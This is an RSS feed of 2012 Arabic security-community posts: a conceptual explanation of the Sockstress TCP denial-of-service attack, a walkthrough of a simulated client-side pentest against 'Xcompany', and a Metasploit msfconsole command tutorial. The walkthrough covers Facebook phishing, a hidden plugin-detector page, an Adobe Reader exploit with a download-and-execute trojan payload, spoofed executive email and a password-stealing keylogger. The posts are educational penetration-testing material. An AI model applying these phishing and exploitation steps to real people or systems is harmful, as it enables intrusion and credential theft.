<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>مجتمع الحماية العربي &#187; تجربة الإختراق</title>
	<atom:link href="http://www.security4arabs.com/category/offensive/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.security4arabs.com</link>
	<description>Information Security, Penetration Testing, and more</description>
	<lastBuildDate>Thu, 17 May 2012 12:52:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>مفاهيم هجوم Sockstress</title>
		<link>http://www.security4arabs.com/2012/05/17/sockstressattack/</link>
		<comments>http://www.security4arabs.com/2012/05/17/sockstressattack/#comments</comments>
		<pubDate>Thu, 17 May 2012 12:51:01 +0000</pubDate>
		<dc:creator>نبراس القرشي</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[مساهمات الأعضاء]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[Sockstress]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=4054</guid>
		<description><![CDATA[مقدمة يعتبر Sockstress من أخطر أنواع هجوم الـ (DoS)، حيث أن هذا الهجوم يعتمد على إكمال الـ (TCP 3-Way Handshaking) حتى يظهر بأنه عملية إتصال طبيعية، ويحتاج إلى إمكانيات قليلة مقارنة بالأنواع الأخرى من هجوم الـ (DoS)، ويعتمد بشكل أساسي على خاصية الـ (Window Size). إن من التحسينات التي تمت على الـ (TCP) هو استخدام [...]]]></description>
			<content:encoded><![CDATA[<h2>مقدمة</h2>
<p>يعتبر Sockstress من أخطر أنواع هجوم الـ (DoS)، حيث أن هذا الهجوم يعتمد على إكمال الـ (TCP 3-Way Handshaking) حتى يظهر بأنه عملية إتصال طبيعية، ويحتاج إلى إمكانيات قليلة مقارنة بالأنواع الأخرى من هجوم الـ (DoS)، ويعتمد بشكل أساسي على خاصية الـ (Window Size).<br />
إن من التحسينات التي تمت على الـ (TCP) هو استخدام خاصية الـ (TCP Window Size)، فبعد القيام بعملية (3-Way Handshaking) يتبادل جهاز الـ (Server) مع جهاز الـ (Client) حجم المعلومات التي يستطيع استقبالها في كل (Packet) دون الحاجة إلى تأكيد (Ack) في هذه العملية الأخيرة.<br />
هجوم (SockStress) يعتمد على إستخدام هذه الخاصية لاستنزاف موارد الـ (Server), حيث يقوم هذا الهجوم باستنزاف الذاكرة لدى الـ (Server) بسرعة فائقة من خلال تقليص حجم الـ (TCP Window Size), هذا الهجوم فعال على كل أنظمة التشغيل(Windows , LinuxM , BSD) و جميع أجهزة الشبكات (Routers, L3 Switches) و أي تطبيق يقبل الاتصال على بروتوكول الـ TCP.</p>
<h2>مفهوم هجوم الـ Sockstress</h2>
<p><span style="color: #ff0000;"><strong>1)</strong></span> يبدء المهاجم الإتصال مع الـ (Server) من خلال عملية (TCP 3-Way Handshaking) طبيعية.<br />
<span style="color: #ff0000;"><strong>2)</strong></span> يقوم المهاجم بإرسال (2 TCP Queries) على التوالي إلى الـ (Server)<br />
<span style="color: #ff0000;"><strong>2.a)</strong></span> طلب معلومات عادية من الـ (Server) تتطلب رداً إلى الـ (Client).<br />
<span style="color: #ff0000;"><strong>2.b)</strong></span> الـ (TCP Packet) تعلم الـ (Server) أن جهاز الـ (Client) لا يستطيع أن يستقبل أي معلومات حالياً (Window Size = Zero).</p>
<p><strong><span style="color: #ff0000;">3)</span></strong> يبقي المهاجم الإتصال مفتوح، وبنفس الوقت يبقي (Window Size = 0) بمعنى أنه لا يستطيع أن يستقبل أية معلومات.</p>
<p><a href="http://www.security4arabs.com/wp-content/uploads/2012/05/nebras.bmp"><img class="alignnone size-full wp-image-4055" title="nebras" src="http://www.security4arabs.com/wp-content/uploads/2012/05/nebras.bmp" alt="" /></a></p>
<p><span style="color: #ff0000;"><strong>4)</strong></span> كنتيجة لهذا الاتصال, فإن الـ (Server) بداية يقوم بتحضير المعلومات التي طلبها الـ (Client)، لكنه يبقيها في الذاكرة لأن العميل قد أخبره مباشرة بعد طلبه هذه المعلومات أنه لا يستطيع إستقبالها، وكنتيجة لذلك فإن ذاكرة الـ (Server) تمتلئ بوقت قياسي عندما يقوم المهاجم بتكرار هذا الإتصال لفترة قليلة نسبياً، مما يؤدي إلى عدم تمكن الـ (Server) من التعامل مع أي إتصال جديد والوصول إلى حالة من الـ (Memory Overflow)، وهي النتيجة التي تحصل عادة من جميع أنواع هجوم الـ (DoS).</p>
<p>لتحميل أداة هذا الهجوم ورؤية طريقة إستخدامها على الرابط التالي:<br />
<a title="https://defuse.ca/sockstress.htm" href="https://defuse.ca/sockstress.htm" target="_blank"> https://defuse.ca/sockstress.htm</a></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">حيث أنني وجدت في هذا الموقع شرحاً مبسطاً لإستخدام هذه الأداة للقيام بهجوم (SockStress),</span> لكن يرجى العلم بأن طريقة الحماية المشروحة في هذا الموقع غير عملية أبداً وغير مجدية.</span><br />
<span style="color: #008000;">وأقترح هنا استخدام (Proactive Intrusion Prevention)، مثل NETASQ الذي يقوم بعمل فحص كامل لـِ (TCP)، ويقوم بمتابعة حالة جميع الإتصالات المفتوحة، وبإستخدام التحليل الإحصائي والإعتماد على تحليل الـ (Heuristic) يستطيع التمييز باختلاف حجم الـ (Window Size)، وتحديد ما يصلح منها. وكنتيجة لذلك فإنه يسمح فقط للإتصالات الحقيقة بالوصول إلى الـ (Server)، وإيقاف جميع إتصالات الهجوم.</span></p>
<hr />
<p><small>&copy; nebras qurashi for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2012. |
<a href="http://www.security4arabs.com/2012/05/17/sockstressattack/">Permalink</a> |
<a href="http://www.security4arabs.com/2012/05/17/sockstressattack/#comments">7 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2012/05/17/sockstressattack/&amp;title=مفاهيم هجوم Sockstress">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/dos/" rel="tag">DoS</a>, <a href="http://www.security4arabs.com/tag/sockstress/" rel="tag">Sockstress</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2012/05/17/sockstressattack/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>محاكاة هجوم على جانب العميل لأحد الشركات من البداية الى الاختراق الكامل</title>
		<link>http://www.security4arabs.com/2012/04/29/simulating-client-site-attack-from-start-to-finish/</link>
		<comments>http://www.security4arabs.com/2012/04/29/simulating-client-site-attack-from-start-to-finish/#comments</comments>
		<pubDate>Sun, 29 Apr 2012 18:43:41 +0000</pubDate>
		<dc:creator>ابراهيم حجازي</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[اختبارات الاختراق]]></category>
		<category><![CDATA[اختراق]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=3972</guid>
		<description><![CDATA[بسم الله والصلاة والسلام علي رسول الله سيدنا محمد ومن تبعه ووالاه درس اليوم ان شاء الله من النوع الدسم الذي سيشمل نقاط عديده غايه في الأهميه بدايه من معرفة البرامج التي يستخدمها الشخص علي جهازه  وتحديد إصداراتها الي إنهاء عملية الإختراق والحصول علي صلاحيه كاملة علي جهاز الضحية. &#8220;هذا الموضوع سيتم تطبيقه بنظام المحاكاه [...]]]></description>
			<content:encoded><![CDATA[<p>بسم الله والصلاة والسلام علي رسول الله سيدنا محمد ومن تبعه ووالاه</p>
<p>درس اليوم ان شاء الله من النوع الدسم الذي سيشمل نقاط عديده غايه في الأهميه بدايه من معرفة البرامج التي يستخدمها الشخص علي جهازه  وتحديد إصداراتها الي إنهاء عملية الإختراق والحصول علي صلاحيه كاملة علي جهاز الضحية.</p>
<p>&#8220;هذا الموضوع سيتم تطبيقه بنظام المحاكاه في تطبيق عملية إختبار إختراق لشركة ما تسمي Xcompany&#8221;</p>
<div id="attachment_3973" class="wp-caption aligncenter" style="width: 441px"><a href="http://www.security4arabs.com/wp-content/uploads/2012/04/figure19.jpg"><img class="size-full wp-image-3973" title="figure19" src="http://www.security4arabs.com/wp-content/uploads/2012/04/figure19.jpg" alt="" width="431" height="221" /></a><p class="wp-caption-text">سيناريو الهجوم - الصورة نقلاً عن معهد سانز لأمن المعلومات</p></div>
<p>&#8220;أتت الشركه المسماه Xcompany الى الشركة التي أعمل لديها وطلبت التعاقد علي تنفيذ هجمات من نوع Client Side Attacks على العاملين بالشركة للتأكد من سلامة أجهزة العاملين بها ضد عمليات الإختراق العشوائية والموجهة وطلبت الشركه أن تكون عملية الإختراق من نوع Grey Box Test، حيث قامت بإعطائنا إميلات للعاملين بالشركة وبعض حسابات الفيس بوك التابعة لهم المطلوب إختراق أكبر قدر من أجهزة العاملين بالشركة للوصول إلي أكبر قدر من البيانات كنوع من محاكاة هجوم فعلي علي الشركه من قبل قراصنة الإنترنت &#8221;</p>
<h3>والآن كيف سنقوم بتنفيذ هذا الهجوم والحصول علي المطلوب؟</h3>
<p>ملحوظه قبل البدأ بالتطبيق العملي: إن مجال الهجوم علي جانب العميل مجال واسع جدا لكنني سأشمل بهذا الدرس نقاط مهمة فيه فلا يسعني أن أشمله كاملا في موضوع او حتي 10 مواضيع.</p>
<h4>ما الذي سنحتاجه لتطبيق هذا الدرس ؟</h4>
<p>1- تحديد الأهداف</p>
<p>2- Plugins Detector</p>
<p>3- Metasploit</p>
<p>4-  Exploiting</p>
<p>نبدأ التطبيق على بركة الله</p>
<p>1- تحديد الهدف لدينا قائمة بإميلات العاملين بالشركه ولدينا حساباتهم في الفيس بوك</p>
<p>حسنا , المرحله الثانيه 2- Plugins Detector.</p>
<p>ما هو Plugins Detector طبعا كما سبق وذكرت انني احتاج الي تحديد البرمجيات التي يستخدمها العاملين بالشركه علي أجهزتهم واصداراتها أيضا حتي أتمكن من تحديد ثغرات لها ثم أقوم بتطبيق هذه الثغرات عليهم بشكل جماعي حتي اختراقهم اذا كيف أستطيع ذلك وليس لدي سوى إميلاتهم وبعض حساباتهم؟</p>
<p>البعض سيقول احصل على العنوان الخاص بهم (IP)، ومن ثم اقوم بفحصه بالميتا الخ الخ. هذا الأمر غير مجدي. دعك من ان النتيجة في الغالب لن تصل بك لشئ. فلن تستطيع استخراج البرامج واصداراتها التي يستخدمها  الضحيه علي جهازه من خلال الميتا سبلويت. هل يمكنك مثلا معرفة اذا ما كان الضحيه يستخدم اكروبات ريدر او جافا او فلاش علي جهازه ومعرفة اصداراتها وكل هذا من خلال الميتا سبلويت ؟ لا بالطبع. لذا نحتاج الى طريقة أفضل وأسرع لأن عملية إختبار الإختراق تكون محددة المدة.</p>
<p>الموضوع ببساطه يعتمد على الإضافات (Plugins) التي تعمل علي المتصفح فعلي سبيل المثال اذا قمت انت بتنصيب الجافا علي جهازك فانها ستقوم تلقائيا بتنصيب إضافة في متصفحك لكي يدعم الجافا ونفس الموضوع يتم في حالة تنصيبك لبرنامج .Flash Player</p>
<div id="attachment_3977" class="wp-caption aligncenter" style="width: 570px"><a href="http://www.security4arabs.com/wp-content/uploads/2012/04/addons.jpg"><img class="size-full wp-image-3977" title="addons" src="http://www.security4arabs.com/wp-content/uploads/2012/04/addons.jpg" alt="" width="560" height="335" /></a><p class="wp-caption-text">اضافات المتصفح</p></div>
<p>كاشف الاضافات (Plugin Detector) هو عبارة عن كود بي اتش بي ترفعه الي موقعك فيصبح بشكل site.com/pd.php عندما يقوم الشخص بفتح الرابط يقوم الكود بفحص الإضافات الموجودة في متصفحه لمعرفة البرمجيات التي يستخدمها وإصداراتها وبعض البيانات الاخري من الرأسيات (Headers) الخاصة بالمتصفح ثم يقوم بكتابة ملف نصي في نفس المجلد المرفوع فيه ويقوم بوضع البيانات التي حصل عليها من حاسوب الزائر و يمكنك تصفحها ومعرفة الاصدارات للبرامج التي يستخدمها ثم تبحث عن ثغرات لها .</p>
<p>طبعا لا يمكنني ان ارسل الرابط بهذا الشكل لذا قمت بحجز دومين (نطاق) باسم لا يثير الشكوك وقمت بعمل صفحة فرعية علي الدومين تحتوي علي موضوع عن المجال الذي تختص به الشركه Xcompany وقمت بعمل include للملف pd.php  داخل الصفحه التي تحتوي الموضوع</p>
<p>[code]&lt;?php //This is example for the news page include("pd.php"); //then news goes in the same page with it's images and titles etc etc <img src='http://www.security4arabs.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ?&gt;[/code]</p>
<p>أصبح الآن لدي صفحتي بالشكل التالي</p>
<p>[QUOTE]http://www.GoodDomainName.com/News.php?id=4356[/QUOTE]</p>
<p>الآن من خلال الفيس بوك أقوم بعمل حساب عشوائي وأقوم بوضع المهنة في الحساب نفس المهنة التي تتخصص فيها الشركة Xcompany وباقي البيانات علي نفس المجال وأقوم بعمل إضافة لحسابات العاملين بالشركة وإرسال الرابط بالأعلى لهم تحت عنوان مثير فلنفرض انه الشركه تعمل بمجال السيارات:</p>
<p>طفرة في عالم تصنيع السيارات والمفاجأه بأيادي عربية! تفاصيل الخبر على : [QUOTE]http://www.GoodDomainName.com/News.php?id=4356[/QUOTE]</p>
<p>في غضون ساعه كان لدي بيانات البرامج الخاصة بثلاثة أشخاص من العاملين بالشركه</p>
<div id="attachment_3981" class="wp-caption aligncenter" style="width: 572px"><a href="http://www.security4arabs.com/wp-content/uploads/2012/04/logger.jpg"><img class=" wp-image-3981  " title="logger" src="http://www.security4arabs.com/wp-content/uploads/2012/04/logger.jpg" alt="" width="562" height="126" /></a><p class="wp-caption-text">بيانات المستخدمين الثلاثة</p></div>
<p>وسأخذ منهم ثاني شخص وكما ترون , يقوم بإستخدام برنامج أدوبي أكروبات ريدر إصدار 9.1 لقرائة ملفات .pdf</p>
<p>المرحله الثالثة: Metasploit</p>
<p>الآن نذهب إلى الميتاسبلويت ونكتب search adobe acrobat reader</p>
<div id="attachment_3982" class="wp-caption aligncenter" style="width: 562px"><a href="http://www.security4arabs.com/wp-content/uploads/2012/04/MSF.jpg"><img class=" wp-image-3982   " title="MSF" src="http://www.security4arabs.com/wp-content/uploads/2012/04/MSF.jpg" alt="" width="552" height="254" /></a><p class="wp-caption-text">البحث عن ادوبي في ميتاسبلويت</p></div>
<p>ممتاز لدينا ثغره لهذا الإصدار وهي ثغرة libtiff, دون الدخول في تفاصيل تم شرحها من قبل آلاف المرات. نقوم بإعداد الثغرة واختيار البايلود من نوع تنزيل وتشغيل</p>
<p>windows/download_exec والذي سيقوم بتنزيل وتشغيل ملف التروجان الخاص بي والذي سيتيج لي التحكم في جهاز هذا الشخص وأصبح لدي الآن ملف Report.pdf الذي يحوي استغلال الثغرة</p>
<p>الان باقي مرحلة إرسال هذا الملف إلي الشخص المطلوب, والبريد الذي لدي لهذا الشخص هو <a href="mailto:Victim1@Xcompany.com">Victim1@Xcompany.com</a></p>
<p>لكن كيف سيقبل هذا الشخص مني الملف ويقوم بفتحه؟ بعد تفكير وصلت إلي فكرة إستخدام Mailer وأقوم بإرسال رسالة من إميل مدير الشركه الي إميل هذا الشخص اخبره فيها بأنني اريده ان يطلع علي هذا التقرير الهام جداً عن الشركة والمرفق في الرسالة.</p>
<div id="attachment_3983" class="wp-caption aligncenter" style="width: 508px"><a href="http://www.security4arabs.com/wp-content/uploads/2012/04/mailer.jpg"><img class=" wp-image-3983  " title="mailer" src="http://www.security4arabs.com/wp-content/uploads/2012/04/mailer.jpg" alt="" width="498" height="303" /></a><p class="wp-caption-text">انتحال البريد الالكتروني لصاحب الشركة</p></div>
<p>تم الإرسال والآن بإنتظار النتيجة.</p>
<p>ممتاز الان تلقيت ال Notification الان الكيلوجر (مسجل المفاتيح) يعمل علي جهاز الضحية ويقوم بإرسال كلمات المرور لي أول بأول من جهازه.</p>
<p>وبهذه الطريقه نجحت في إختراق أول جهاز في فتره بسيطه <img src='http://www.security4arabs.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>إن شاء الله الدرس القادم سأشرح طريقة لإختراق إميلات باقي الأشخاص وحساباتهم في عملية واحدة لا يتعدى استغلالها اكثر من نصف ساعة من خلال الجهاز الذي تم إختراقه مسبقا . فلا تنسوا انني الآن داخل شبكة الشركه <img src='http://www.security4arabs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  .</p>
<p>إن شاء الله ان الدرس مشروح بطريقة مفهومة لغير المحترفين وأخلي مسؤوليتي من أي إستخدام غير أخلاقي لهذا الدرس هذا وصلى الله وسلم على سيدنا محمد.</p>
<hr />
<p><small>&copy; إبراهيم حجازي for <a href="http://www.security4arabs.com">مجتمع الحماية العربي</a>, 2012. |
<a href="http://www.security4arabs.com/2012/04/29/simulating-client-site-attack-from-start-to-finish/">Permalink</a> |
<a href="http://www.security4arabs.com/2012/04/29/simulating-client-site-attack-from-start-to-finish/#comments">10 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://www.security4arabs.com/2012/04/29/simulating-client-site-attack-from-start-to-finish/&amp;title=محاكاة هجوم على جانب العميل لأحد الشركات من البداية الى الاختراق الكامل">del.icio.us</a>
<br/>
Post tags: <a href="http://www.security4arabs.com/tag/pentest/" rel="tag">اختبارات الاختراق</a>, <a href="http://www.security4arabs.com/tag/%d8%a7%d8%ae%d8%aa%d8%b1%d8%a7%d9%82/" rel="tag">اختراق</a><br/>
</small></p>
<p><small>Feed enhanced by <a href='http://planetozh.com/blog/my-projects/wordpress-plugin-better-feed-rss/'>Better Feed</a> from  <a href='http://planetozh.com/blog/'>Ozh</a></small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.security4arabs.com/2012/04/29/simulating-client-site-attack-from-start-to-finish/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>استخدام بيئة العمل Metasploit  عن طريق Msfconsole</title>
		<link>http://www.security4arabs.com/2011/07/15/howto-use-metasploit-with-msfconsole/</link>
		<comments>http://www.security4arabs.com/2011/07/15/howto-use-metasploit-with-msfconsole/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 15:46:03 +0000</pubDate>
		<dc:creator>Fayez</dc:creator>
				<category><![CDATA[تجربة الإختراق]]></category>
		<category><![CDATA[شروحات]]></category>

		<guid isPermaLink="false">http://www.security4arabs.com/?p=2432</guid>
		<description><![CDATA[يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.]]></description>
			<content:encoded><![CDATA[<h2>مقدمة</h2>
<p>يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.</p>
<h4>فوائد msfconsole :</h4>
<p>يدعم طريق الوصول الى معظم الخصائص المتوفرة في MSF.<br />
يعتبر اكثر والواجهات استقراراً في الاستخدام.<br />
يدعم التكملة التلقائية لتنفيذ الاوامر.<br />
أمكانية تنفيذ يعض الاوامر الاضافية مثل (ping&#8230; وغيرها).<br />
تشغيل (msfconsole):<br />
بمكانك تشغيل msfconsole بكل سهوله بختيارة من القائمه في الباك تراك او بتنفيذ الامر في shell &#8220;./msfconsole&#8221; وبامكانك تمرير متغير &#8220;-h&#8221; لمشاهدة متغيرات خيارات الاستخدام.</p>
<p>&nbsp;</p>
<h4>المساعدة help:</h4>
<p>قم بادخال الامر &#8220;help &#8221; او &#8220;؟&#8221; وسوف تقوم بعرض العديد من الاوامر با الاضافة الى وصف لما تستخدم هذه الاوامر.</p>
<p>التكملة التلقائية :<br />
صمم msfconsole ليكون سريع في الاستخدام واحد الخصائص التي تساعد في هذا الغرض هي التكلمة التلقائية(tab completion). مع وجود العديد من موديلز(modules)، يصعب عليك تذكراسم او مسار المديول(module) الذي تريد استخدامه.<br />
وكما هو العادة في العديد من shells تقوم با الضغط على &#8220;tab&#8221; والذي سوف يقوم بعرض العديد من الخيارات او سوف يكمل تلقائياً اذا كان خيار واحد فقط .</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">use exploit/windows/dce&lt;br /&gt;<br />
use .*netapi.*&lt;br /&gt;<br />
set LHOST&lt;br /&gt;<br />
set TARGET&lt;br /&gt;<br />
set PAYLOAD windows/shell/&lt;br /&gt;<br />
exp&lt;br /&gt;<br />
show</div></div>
</p>
<h4>أمر العودة الى الخلف (back):</h4>
<p>عندما تنتهي من العمل مع موديل (module) معين او انك قد اخترت موديل(module) بالخطاء، في هذه الحالة تريد العودية الى الحالة السابقة لك، قم بادخال الامر &#8220;back&#8221; لكي تعودي الى ماقبل اختيارك.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf auxiliary(ms09_001_write) &amp;gt; back&lt;br /&gt;<br />
msf &amp;gt;</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر الفحص (check) :</h4>
<p>­­يقوم بفحص نظام الهدف هل هو مصاب با الاستغلال ام لا، قبل تنفيذ الاستغلال. وهذا الامر لايدعم العديد من الاستغلالات.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms04_045_wins) &amp;gt; show options&lt;br /&gt;<br />
Module options:&lt;br /&gt;<br />
Name Current Setting Required Description&lt;br /&gt;<br />
---- --------------- -------- -----------&lt;br /&gt;<br />
RHOST 192.168.1.114 yes The target address&lt;br /&gt;<br />
RPORT 42 yes The target port&lt;br /&gt;<br />
Exploit target:&lt;br /&gt;<br />
Id Name&lt;br /&gt;<br />
-- ----&lt;br /&gt;<br />
0 Windows 2000 English&lt;br /&gt;<br />
msf exploit(ms04_045_wins) &amp;gt; check&lt;br /&gt;<br />
[-] Check failed: The connection was refused by the remote host&lt;br /&gt;<br />
(192.168.1.114:42)</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر الاتصال (connect):</h4>
<p>هذا الامر يقوم بعمل شبية بعمل netcat وهو مبني ضمن msfconsole ويدعم SSL، proxies ،pivoting و ارسال الملفات. بتنفيذ الامر &#8220;connect&#8221; مع ايبي ادرس (IP Address ) و منفذ(Port)، وبمكانك الاتصال با الجهاز البعيد من خلال msfconsole مثل ماهو netcat او telnet.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &amp;gt; connect 192.168.1.1 23&lt;br /&gt;<br />
[*] Connected to 192.168.1.1:23&lt;br /&gt;<br />
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH&lt;br /&gt;<br />
Release: 07/27/08 (SVN revision: 10011)&lt;/p&gt;<br />
&lt;p&gt;DD-WRT login:</div></div>
</p>
<p>وبتمرير المتغير &#8220;-s&#8221; في الاتصال سوف يكون الاتصال عبر SSL.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &amp;gt; connect -s www.metasploit.com 443&lt;br /&gt;<br />
[*] Connected to www.metasploit.com:443&lt;br /&gt;<br />
GET / HTTP/1.0&lt;br /&gt;<br />
HTTP/1.1 302 Found&lt;br /&gt;<br />
Date: Sat, 25 Jul 2009 05:03:42 GMT&lt;br /&gt;<br />
Server: Apache/2.2.11&lt;br /&gt;<br />
Location: http://www.metasploit.org/</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر ((exploit مقابل (run) :</h4>
<p>عندما يتم تنفيذ اي إستغلال يكون بتنفيذ امر &#8220;exploit&#8221;، بينما عندما تستخدم auxiliary module يكون الانسب بتنفيذها من خلال الامر &#8220;run&#8221;. وايضا يمكنك استخدام امر &#8220;exploit&#8221;.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf auxiliary(ms09_001_write) &amp;gt; run&lt;br /&gt;<br />
Attempting to crash the remote host...&lt;br /&gt;<br />
datalenlow=65535 dataoffset=65535 fillersize=72&lt;br /&gt;<br />
rescue&lt;br /&gt;<br />
datalenlow=55535 dataoffset=65535 fillersize=72&lt;br /&gt;<br />
rescue&lt;br /&gt;<br />
datalenlow=45535 dataoffset=65535 fillersize=72&lt;br /&gt;<br />
rescue&lt;br /&gt;<br />
datalenlow=35535 dataoffset=65535 fillersize=72&lt;br /&gt;<br />
rescue&lt;br /&gt;<br />
...بقية النتائج...</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (irb) :</h4>
<p>بتنفيذ هذا الامر تقوم با الدخول على سكربت لغة الروبي وتستطيع تنفيذ اوامر الروبي مباشرة من msfconsole، وهذه الميزة مفيدة جداً حيث تساعدك على فهم Framework.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt; irb&lt;br /&gt;<br />
[*] Starting IRB shell...&lt;br /&gt;<br />
&amp;gt;&amp;gt; puts &quot;Hello, Fayez!&quot;&lt;br /&gt;<br />
Hello, Fayez!&lt;br /&gt;<br />
&amp;gt;&amp;gt; Framework::Version&lt;br /&gt;<br />
=&amp;gt; &quot;3.7.0-release&quot;</div></div>
</p>
<h4>أمر (jobs) :</h4>
<p>يقوم بعرض وإدارة المديول(modules) التي تشتغل في الخلفية(Background). وبتنفيذ امر &#8220;jobs&#8221; يكون بمكانك عرض وإنها<br />
هذه الاعمل(jobs).</p>
<p><div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf exploit(ms08_067_netapi) &gt; jobs -h&lt;br /&gt;<br />
Usage: jobs [options]&lt;/p&gt;<br />
&lt;p&gt;Active job manipulation and interaction.&lt;/p&gt;<br />
&lt;p&gt;OPTIONS:&lt;/p&gt;<br />
&lt;p&gt;.-K Terminate all running jobs&lt;br /&gt;<br />
. -h Help banner&lt;br /&gt;<br />
-i Lists detailed information about a running job.&lt;br /&gt;<br />
-k Terminate the specified job name.&lt;br /&gt;<br />
-l List all running jobs.&lt;br /&gt;<br />
-v Print more detailed info. Use with -i and –l.</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (load/unload):</h4>
<p>بتنفيذ أمر لود &#8220;load&#8221; متبوع بـاسم إضافة(plugin) من الاضافات التي تكون متواجدة ضمن مجلد (plugin) في metasploit. وتمرر المتغيرات با الشكل التالي &#8221; key=val&#8221; داخل وامر الشل.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &amp;gt; load&lt;br /&gt;<br />
Usage: load [var=val var=val ...]&lt;br /&gt;<br />
Load a plugin from the supplied path. The optional&lt;br /&gt;<br />
var=val options are custom parameters that can be&lt;br /&gt;<br />
passed to plugins.&lt;br /&gt;<br />
msf &gt;; load pcap_log&lt;br /&gt;<br />
[*] Successfully loaded plugin: pcap_log</div></div>
<p>
بلمقابل، امر &#8220;unload&#8221; يقوم بازالة ماتم تحميلة في الامر السابق.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt;; unload pcap_log&lt;br /&gt;<br />
Unloading plugin pcap_log...unloaded.</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (loadpath) :</h4>
<p>أذا كان لديك بعض payloads، encoders او استغلال لثغرة يوم الصفر بمكانك تحديد المسار للمديول(module) الخاص بك. حيث ان هذا الامر يستخدم لإضافة مسار لموديلز(modules) طرف ثالث.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">msf &gt;; loadpath /home/secret/modules&lt;br /&gt;<br />
Loaded 0 modules.</div></div>
</p>
<p>&nbsp;</p>
<h4>أمر (resource) :</h4>
